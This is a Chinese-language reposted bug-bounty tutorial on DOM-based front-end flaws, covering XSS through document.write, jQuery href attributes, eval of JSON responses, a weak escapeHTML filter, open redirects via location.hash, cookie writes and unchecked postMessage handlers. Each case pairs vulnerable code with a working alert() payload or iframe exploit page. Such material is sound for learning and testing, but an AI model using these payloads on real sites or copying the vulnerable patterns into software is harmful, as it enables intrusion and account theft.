最直接的xss

—-dom xss

function trackSearch(query) {
document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
trackSearch(query);
}

可以看到会从window.location.search获取search参数值写入img标签

所以双引号闭合就可以xss

payload

https://www.xxxx.com/xxx?search="><svg/onload="alert(1)

—-jQuery dom xss

<div class="is-linkback">
<a id="backLink">Back</a>
</div>
<script>
$(function() {
$('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath'));
});
</script>

可以看到会从window.location.search获取returnPath参数值写入a标签href属性

所以a标签 写入JavaScript:alert() 点击即可触发

payload

https://www.xxxx.com/xxx?returnPath=JavaScript:alert()

点击a标签的Back按钮就会触发

—-反射+dom xss

https://www.xxxx.com/?search=1

首先一个搜索页面加载了一段js

 (function() {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
eval('var searchResultsObj = ' + this.responseText);
displaySearchResults(searchResultsObj);
}
};
xhr.open("GET", "/search-results" + window.location.search);
xhr.send();
function displaySearchResults(searchResultsObj) {
..........省略

可是看到搜索是xhr去发起请求获取结果再显示出来

xhr发起的请求

https://www.xxxx.com/search-results?search=1

返回内容

{"searchTerm":"1","results":[{"id":5,"title":"Grandma's on the net","headerImage":"/content/blog/posts/8.jpg","summary":"I love old people and technology. I love the language they use, where they have to put the word 'the' in front of everything. The Facebook, The Twitter...the ones I love the most are the ones who show they have..."},{"id":3,"title":"Finding Inspiration","headerImage":"/content/blog/posts/31.jpg","summary":"I don't care who you are or where you're from aren't just poignant Backstreet Boys lyrics, they also ring true in life, certainly as far as inspiration goes. We all lack drive sometimes, or perhaps we have the drive but..."},{"id":2,"title":"Machine Parenting","headerImage":"/content/blog/posts/66.jpg","summary":"It has finally happened. The progression from using TV's and tablets as a babysitter for your kids has evolved. Meet the droids, the 21st Century Machine Parenting bots who look just like mom and dad."},{"id":1,"title":"New Year - New Friends","headerImage":"/content/blog/posts/43.jpg","summary":"It's always the same. A new year begins and those people you thought were your friends go, well, a bit weird. Your nearest and dearest, between them, have a very long list of things they want to change about themselves...."}]}

可以看到返回内容会赋值searchResultsObj 使用函数displaySearchResults() 显示在页面,就会出现搜索结果

关键赋值这里使用了eval('var searchResultsObj = ' + this.responseText);

由于返回内容里有值我们可控 。1的地方是可控的

所以我们只要闭合”};赋值,再用//注释掉后面的,中间就可以执行任意的js语句

js执行过程如下

eval('var searchResultsObj = {"searchTerm":"1"};可控地方;//","results":[]}');

payload

https://www.xxxx.com/?search=1\"};alert();//

由于json会转义" 变成" 所以多加个\ 转义\ 使"逃逸出来

};闭合前面的赋值 中间可以写任意的js语句 //注释掉后面不需要的字符

—-存储+dom xss

https://www.xxxx.com/post?postId=2

加载一段js

(function () {
let xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
let comments = JSON.parse(this.responseText);
displayComments(comments);
}
};
xhr.open("GET", "/post/comment" + window.location.search);
xhr.send(); function escapeHTML(html) {
return html.replace('<', '&lt;').replace('>', '&gt;');
} function displayComments(comments) {
let userComments = document.getElementById("user-comments"); for (let i = 0; i < comments.length; ++i)
{
comment = comments[i];
let commentSection = document.createElement("section");
commentSection.setAttribute("class", "comment"); let firstPElement = document.createElement("p"); let avatarImgElement = document.createElement("img");
avatarImgElement.setAttribute("class", "avatar");
avatarImgElement.setAttribute("src", comment.avatar ? comment.avatar : "/resources/images/avatarDefault.svg"); if (comment.author) {
if (comment.website) {
let websiteElement = document.createElement("a");
websiteElement.setAttribute("id", "author");
websiteElement.setAttribute("href", comment.website);
firstPElement.appendChild(websiteElement)
} let newInnerHtml = firstPElement.innerHTML + escapeHTML(comment.author)
firstPElement.innerHTML = newInnerHtml
} if (comment.date) {
let dateObj = new Date(comment.date)
let month = '' + (dateObj.getMonth() + 1);
let day = '' + dateObj.getDate();
........省略

评论依旧是js生成的

先去 https://www.xxxx.com/post/comment?postId=2 获取评论

使用displayComments()函数 写入页面

本身是个储存xss

可是js写入时过滤了

let newInnerHtml = firstPElement.innerHTML + escapeHTML(comment.author) 可以看到使用escapeHTML()函数过滤了下 就是把<>转成了实体

这里是写入作者名造成的

所以名字改成<<iframe/onload="alert()">>去评论就会变成储存xss

—-url跳转

  let url=/https?:\/\/.+/.exec(location.hash)
if(url) {
location = url[0];
}

这个很简单location.hash 可控

如果没有正则匹配 还可以造成xss

payload

https://www.xxx.com/#https://google.com

—-Cookie操作

document.cookie = 'Url='+location.hash.slice(1);

这种由于location.hash可控所以我们可控制cookie中Url的值

看Url值具体用法,才能体现具体危害

如果url的值会输出到某个页面的

<a href="">

里,那点击之后就是个xss,也可以url跳转

—-postMessage

<script>
window.addEventListener('message', function(e){
eval(e.data);
});
</script>

这里没有任何验证 直接eval 就会xss

payload

<iframe src="//www.xxxx.com" onload="this.contentWindow.postMessage('alert(1)','*')">

如果网页不允许iframe

<script>
var popup = window.open('https://www.xxxx.com');
function xss(){popup.postMessage("alert(1)","*")}
setInterval(xss,1000);
</script>

如果验证来源,视情况绕过

最常见的是使用indexOf() 大多数情况可以绕过

解析json造成的xss

<script>
window.addEventListener('message', function(e) {
var iframe = document.createElement('iframe'), ACMEplayer = {element: iframe}, d;
document.body.appendChild(iframe);
try {
d = JSON.parse(e.data);
} catch(e) {
return;
}
switch(d.type) {
case "page-load":
ACMEplayer.element.scrollIntoView();
break;
case "load-channel":
ACMEplayer.element.src = d.url;
break;
case "player-height-changed":
ACMEplayer.element.style.width = d.width + "px";
ACMEplayer.element.style.height = d.height + "px";
break;
}
}, false);
</script>

触发的方式不只一种 最简单的是ACMEplayer.element.src = d.url;

直接设置iframe的src

json只要有type 和url即可

{"type":"load-channel","url":"javascript:alert()"}

payload

<iframe src='https://www.xxxx.com' onload='this.contentWindow.postMessage("{\"type\":\"load-channel\",\"url\":\"javascript:alert()\"}","*")'>

from Jinone bugbounty

【转载】基于dom的一些前端漏洞的更多相关文章

  1. 基于DOM的XSS注入漏洞简单解析

    基于DOM的XSS注入漏洞简单解析http://automationqa.com/forum.php?mod=viewthread&tid=2956&fromuid=21

  2. 基于dom的xss漏洞原理

    原文:http://www.anying.org/thread-36-1-1.html转载必须注明原文地址最近看到网络上很多人都在说XSS我就借着暗影这个平台发表下自己对这一块的一些认识.其实对于XS ...

  3. Atitit 基于dom的游戏引擎

    Atitit 基于dom的游戏引擎 1. 添加sprite控件(cocos,createjs,dom)1 1.1.1. Cocos1 1.1.2. createjs1 1.1.3. Dom模式2 1. ...

  4. 转载 : 10大H5前端框架

    原文作者: http://www.cnblogs.com/kingboy2008/p/5261771.html 作为一名做为在前端死缠烂打6年并且懒到不行的攻城士,这几年我还是阅过很多同门从知名到很知 ...

  5. SZhe_Scan碎遮:一款基于Flask框架的web漏洞扫描神器

    SZhe_Scan碎遮:一款基于Flask框架的web漏洞扫描神器 天幕如遮,唯我一刀可碎千里华盖,纵横四海而无阻,是谓碎遮 --取自<有匪> 写在前面 这段时间很多时间都在忙着编写该项目 ...

  6. 在基于ABP框架的前端项目Vue&Element项目中采用日期格式处理,对比Moment.js和day.js的处理

    Day.js 是一个轻量的处理时间和日期的 JavaScript 库,和 Moment.js 的 API 设计保持完全一样. 如果您曾经用过 Moment.js, 那么您已经知道如何使用 Day.js ...

  7. 基于 iframe 的微前端框架 —— 擎天

    vivo 互联网前端团队- Jiang Zuohan 一.背景 VAPD是一款专为团队协作办公场景设计的项目管理工具,实践敏捷开发与持续交付,以「项目」为核心,融合需求.任务.缺陷等应用,使用敏捷迭代 ...

  8. Nagios Core/Icinga 基于栈的缓冲区溢出漏洞

    漏洞名称: Nagios Core/Icinga 基于栈的缓冲区溢出漏洞 CNNVD编号: CNNVD-201402-484 发布时间: 2014-03-03 更新时间: 2014-03-03 危害等 ...

  9. Linux Kernel ‘write_tag_3_packet()’函数本地基于堆的缓冲区溢出漏洞

    漏洞名称: Linux Kernel ‘write_tag_3_packet()’函数本地基于堆的缓冲区溢出漏洞 CNNVD编号: CNNVD-201311-067 发布时间: 2013-11-07 ...

随机推荐

  1. 设计模式系列之中介者模式(Mediator Pattern)——协调多个对象之间的交互

    说明:设计模式系列文章是读刘伟所著<设计模式的艺术之道(软件开发人员内功修炼之道)>一书的阅读笔记.个人感觉这本书讲的不错,有兴趣推荐读一读.详细内容也可以看看此书作者的博客https:/ ...

  2. linux主机连接sftp报错received unexpected end-of-file from SFTP server

    SFTP 连接主机失败,提示信息如下: 登陆目标主机,编辑查看 /etc/ssh/sshd_config 文件,找到 Subsystem 关键字 替换为 Subsystem sftp internal ...

  3. 在Ubuntu 16.04上编译OpenJDK8的源代码

    本文将详细介绍在Ubuntu16.04上对OpenJDK8进行编译. 1.准备编译环境 使用的操作系统为Ubuntu16.04,如果读者没有安装Ubuntu,可以在Windows上使用虚拟机的方式进行 ...

  4. 《UNIX环境高级编程》(APUE) 笔记第一章 - UNIX基础知识

    1 - UNIX基础知识 Github 地址 1. 操作系统 可将操作系统定义为一种软件,它控制计算机硬件资源,提供程序运行环境.通常将这种软件称为 内核 (kernel) .( Linux 是 GN ...

  5. html实体引用

    原义字符 等价字符引用 < < > > " " ' &apos; & &

  6. css中input与button在一行高度不一致的解决方法

    在写html表单的时候,发现了一个问题:input和button设置了一样的宽高,但是显示高度确不一致,先看代码: <style> input,button{ width:100px; h ...

  7. 理解ASCII,Unicode和UTF-8关系

    前言:之前一直就好奇这个问题,但是一直没解决,今天我总算明白了,感谢大佬们的科普 转自:https://blog.csdn.net/Deft_MKJing/article/details/794604 ...

  8. python三器一闭

    前言:python三器一闭i 包含 迭代器.生成器.装饰器,闭包 迭代器 概念:迭代器是一种可以记录可迭代对象遍历的位置,迭代器从第一个元素开始访问,直到访问所有元素访问结束,迭代器只会往前,不会后退 ...

  9. php批量 下载图片

    <?php set_time_limit(0); $file = fopen("index.csv",'r');$temp = [];$i=0;$firstsku='';wh ...

  10. Pop!_OS安装与配置(二):基础配置

    Pop!_OS相关使用配置 #0x0 书接上回 #0x1 换源 #0x10 nopasswd sudo #0x11 换国内源 0x2 安装应用 #0x0 书接上回 首先请看上一章末尾, Pop!_OS ...